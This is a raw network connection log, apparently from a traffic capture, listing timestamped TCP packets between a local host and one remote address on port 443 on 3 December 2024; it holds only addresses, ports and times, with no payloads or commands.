Dec 3, 2024 17:55:16.246496916 CET	49850	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:16.246516943 CET	443	49850	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:16.246529102 CET	49850	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:16.246535063 CET	443	49850	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:16.249933004 CET	49855	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:16.249980927 CET	443	49855	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:16.250076056 CET	49855	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:16.250262022 CET	49855	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:16.250277042 CET	443	49855	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:16.323508978 CET	443	49851	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:16.323581934 CET	443	49851	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:16.323648930 CET	49851	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:16.323874950 CET	49851	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:16.323874950 CET	49851	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:16.323896885 CET	443	49851	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:16.323909998 CET	443	49851	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:16.327153921 CET	49856	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:16.327177048 CET	443	49856	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:16.327455997 CET	49856	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:16.327455997 CET	49856	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:16.327486038 CET	443	49856	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:16.394648075 CET	443	49853	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:16.395196915 CET	49853	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:16.395225048 CET	443	49853	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:16.395684004 CET	49853	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:16.395689964 CET	443	49853	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:16.562238932 CET	443	49852	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:16.562316895 CET	443	49852	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:16.562419891 CET	49852	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:16.562606096 CET	49852	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:16.562621117 CET	443	49852	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:16.562632084 CET	49852	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:16.562638044 CET	443	49852	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:16.565805912 CET	49857	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:16.565826893 CET	443	49857	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:16.565918922 CET	49857	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:16.566107035 CET	49857	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:16.566121101 CET	443	49857	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:16.606877089 CET	443	49854	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:16.607449055 CET	49854	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:16.607460022 CET	443	49854	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:16.607944965 CET	49854	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:16.607949018 CET	443	49854	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:16.850521088 CET	443	49853	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:16.850615978 CET	443	49853	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:16.850687027 CET	49853	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:16.850939035 CET	49853	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:16.850960016 CET	443	49853	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:16.850970984 CET	49853	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:16.850975990 CET	443	49853	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:16.854712963 CET	49858	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:16.854742050 CET	443	49858	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:16.854826927 CET	49858	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:16.855036974 CET	49858	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:16.855046988 CET	443	49858	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:17.051436901 CET	443	49854	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:17.051539898 CET	443	49854	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:17.051609993 CET	49854	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:17.051836014 CET	49854	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:17.051857948 CET	443	49854	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:17.051872969 CET	49854	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:17.051877975 CET	443	49854	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:17.055939913 CET	49859	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:17.055963993 CET	443	49859	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:17.056025028 CET	49859	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:17.056196928 CET	49859	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:17.056207895 CET	443	49859	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:18.105314016 CET	443	49855	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:18.105928898 CET	49855	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:18.105983019 CET	443	49855	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:18.106523991 CET	49855	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:18.106532097 CET	443	49855	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:18.183649063 CET	443	49856	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:18.184228897 CET	49856	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:18.184252024 CET	443	49856	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:18.184834003 CET	49856	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:18.184839964 CET	443	49856	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:18.355026960 CET	443	49857	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:18.355864048 CET	49857	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:18.355904102 CET	443	49857	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:18.356856108 CET	49857	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:18.356859922 CET	443	49857	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:18.564179897 CET	443	49855	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:18.564246893 CET	443	49855	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:18.564325094 CET	49855	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:18.564613104 CET	49855	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:18.564631939 CET	443	49855	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:18.564641953 CET	49855	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:18.564647913 CET	443	49855	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:18.568085909 CET	49860	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:18.568140030 CET	443	49860	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:18.568247080 CET	49860	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:18.568408966 CET	49860	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:18.568423986 CET	443	49860	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:18.648323059 CET	443	49856	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:18.648400068 CET	443	49856	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:18.648457050 CET	49856	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:18.648646116 CET	49856	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:18.648658991 CET	443	49856	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:18.648668051 CET	49856	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:18.648673058 CET	443	49856	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:18.651765108 CET	49861	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:18.651814938 CET	443	49861	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:18.651911020 CET	49861	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:18.652074099 CET	49861	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:18.652089119 CET	443	49861	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:18.653548956 CET	443	49858	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:18.653974056 CET	49858	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:18.654000044 CET	443	49858	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:18.654460907 CET	49858	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:18.654467106 CET	443	49858	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:18.801183939 CET	443	49857	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:18.801261902 CET	443	49857	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:18.801328897 CET	49857	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:18.801584959 CET	49857	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:18.801603079 CET	443	49857	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:18.801615000 CET	49857	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:18.801620007 CET	443	49857	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:18.805061102 CET	49862	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:18.805119038 CET	443	49862	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:18.805182934 CET	49862	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:18.805358887 CET	49862	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:18.805376053 CET	443	49862	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:18.902425051 CET	443	49859	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:18.903115988 CET	49859	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:18.903141975 CET	443	49859	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:18.903551102 CET	49859	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:18.903556108 CET	443	49859	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:19.102526903 CET	443	49858	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:19.102591038 CET	443	49858	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:19.102675915 CET	49858	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:19.102873087 CET	49858	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:19.102900028 CET	443	49858	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:19.102914095 CET	49858	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:19.102921009 CET	443	49858	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:19.105814934 CET	49863	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:19.105859995 CET	443	49863	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:19.105932951 CET	49863	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:19.106085062 CET	49863	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:19.106100082 CET	443	49863	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:19.358992100 CET	443	49859	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:19.359074116 CET	443	49859	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:19.359144926 CET	49859	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:19.359368086 CET	49859	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:19.359390020 CET	443	49859	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:19.359400988 CET	49859	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:19.359405994 CET	443	49859	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:19.362551928 CET	49864	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:19.362597942 CET	443	49864	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:19.362680912 CET	49864	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:19.362858057 CET	49864	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:19.362873077 CET	443	49864	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:20.434176922 CET	443	49860	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:20.434762955 CET	49860	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:20.434792042 CET	443	49860	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:20.435281992 CET	49860	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:20.435286999 CET	443	49860	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:20.437700987 CET	443	49861	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:20.437997103 CET	49861	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:20.438029051 CET	443	49861	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:20.438370943 CET	49861	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:20.438375950 CET	443	49861	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:20.600956917 CET	443	49862	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:20.601526976 CET	49862	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:20.601547956 CET	443	49862	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:20.601932049 CET	49862	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:20.601937056 CET	443	49862	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:20.826700926 CET	443	49863	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:20.827316999 CET	49863	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:20.827341080 CET	443	49863	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:20.827812910 CET	49863	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:20.827817917 CET	443	49863	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:20.887892962 CET	443	49861	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:20.887964010 CET	443	49861	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:20.888030052 CET	49861	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:20.888231039 CET	49861	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:20.888243914 CET	443	49861	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:20.888254881 CET	49861	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:20.888261080 CET	443	49861	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:20.891587973 CET	49866	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:20.891625881 CET	443	49866	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:20.891732931 CET	49866	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:20.891896009 CET	49866	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:20.891908884 CET	443	49866	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:20.905277967 CET	443	49860	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:20.905301094 CET	443	49860	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:20.905360937 CET	443	49860	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:20.905383110 CET	49860	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:20.905419111 CET	49860	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:20.905642986 CET	49860	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:20.905657053 CET	443	49860	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:20.905668974 CET	49860	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:20.905673981 CET	443	49860	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:20.908420086 CET	49867	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:20.908524990 CET	443	49867	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:20.908655882 CET	49867	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:20.908795118 CET	49867	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:20.908812046 CET	443	49867	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:21.048926115 CET	443	49862	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:21.048993111 CET	443	49862	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:21.049050093 CET	49862	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:21.049222946 CET	49862	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:21.049233913 CET	443	49862	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:21.049243927 CET	49862	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:21.049248934 CET	443	49862	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:21.052129984 CET	49868	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:21.052171946 CET	443	49868	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:21.052256107 CET	49868	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:21.052428961 CET	49868	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:21.052443027 CET	443	49868	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:21.221807957 CET	443	49864	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:21.222693920 CET	49864	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:21.222718954 CET	443	49864	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:21.224080086 CET	49864	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:21.224087954 CET	443	49864	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:21.271764994 CET	443	49863	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:21.271786928 CET	443	49863	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:21.271866083 CET	49863	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:21.271881104 CET	443	49863	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:21.272171974 CET	49863	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:21.272188902 CET	443	49863	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:21.272201061 CET	49863	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:21.272309065 CET	443	49863	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:21.272339106 CET	443	49863	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:21.272389889 CET	49863	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:21.275577068 CET	49869	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:21.275613070 CET	443	49869	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:21.275686026 CET	49869	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:21.275831938 CET	49869	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:21.275850058 CET	443	49869	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:21.694832087 CET	443	49864	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:21.694858074 CET	443	49864	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:21.694952011 CET	49864	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:21.694968939 CET	443	49864	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:21.695008993 CET	49864	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:21.695327997 CET	49864	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:21.695333004 CET	443	49864	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:21.695353985 CET	49864	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:21.695496082 CET	443	49864	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:21.695527077 CET	443	49864	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:21.695569038 CET	49864	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:21.698412895 CET	49870	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:21.698462009 CET	443	49870	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:21.698556900 CET	49870	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:21.698702097 CET	49870	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:21.698718071 CET	443	49870	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:22.710817099 CET	443	49866	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:22.711967945 CET	49866	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:22.711983919 CET	443	49866	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:22.713376999 CET	49866	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:22.713382006 CET	443	49866	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:22.785831928 CET	443	49867	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:22.786420107 CET	49867	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:22.786446095 CET	443	49867	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:22.787693977 CET	49867	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:22.787699938 CET	443	49867	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:22.871007919 CET	443	49868	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:22.871851921 CET	49868	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:22.871889114 CET	443	49868	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:22.872889042 CET	49868	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:22.872895002 CET	443	49868	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.015310049 CET	443	49869	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.016273022 CET	49869	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:23.016294956 CET	443	49869	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.016705036 CET	49869	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:23.016710043 CET	443	49869	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.176177979 CET	443	49866	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.176203966 CET	443	49866	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.176296949 CET	49866	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:23.176318884 CET	443	49866	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.176541090 CET	49866	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:23.176552057 CET	443	49866	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.176561117 CET	49866	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:23.176708937 CET	443	49866	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.176743031 CET	443	49866	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.176789999 CET	49866	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:23.182343006 CET	49871	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:23.182378054 CET	443	49871	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.182449102 CET	49871	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:23.182601929 CET	49871	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:23.182615995 CET	443	49871	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.244721889 CET	443	49867	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.244782925 CET	443	49867	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.244837046 CET	49867	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:23.245336056 CET	49867	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:23.245352983 CET	443	49867	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.245388985 CET	49867	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:23.245393991 CET	443	49867	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.250705004 CET	49872	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:23.250727892 CET	443	49872	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.250812054 CET	49872	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:23.250978947 CET	49872	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:23.250991106 CET	443	49872	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.331507921 CET	443	49868	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.334834099 CET	443	49868	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.335019112 CET	49868	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:23.335072994 CET	49868	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:23.335091114 CET	443	49868	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.335102081 CET	49868	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:23.335107088 CET	443	49868	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.337696075 CET	49873	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:23.337730885 CET	443	49873	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.337801933 CET	49873	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:23.337985992 CET	49873	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:23.338000059 CET	443	49873	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.482178926 CET	443	49869	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.482256889 CET	443	49869	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.482327938 CET	49869	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:23.482528925 CET	49869	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:23.482544899 CET	443	49869	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.482557058 CET	49869	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:23.482562065 CET	443	49869	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.485269070 CET	49874	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:23.485308886 CET	443	49874	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.485379934 CET	49874	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:23.485532045 CET	49874	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:23.485544920 CET	443	49874	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.506325006 CET	443	49870	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.506846905 CET	49870	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:23.506864071 CET	443	49870	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.507317066 CET	49870	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:23.507323027 CET	443	49870	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.969269037 CET	443	49870	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.969341993 CET	443	49870	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.969417095 CET	49870	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:23.969695091 CET	49870	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:23.969722986 CET	443	49870	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.969738007 CET	49870	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:23.969744921 CET	443	49870	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.974808931 CET	49875	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:23.974843979 CET	443	49875	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:23.974944115 CET	49875	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:23.975132942 CET	49875	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:23.975146055 CET	443	49875	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:24.971105099 CET	443	49871	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:24.971709967 CET	49871	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:24.971733093 CET	443	49871	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:24.972254038 CET	49871	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:24.972259998 CET	443	49871	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:25.086220026 CET	443	49873	13.107.246.63	192.168.2.4
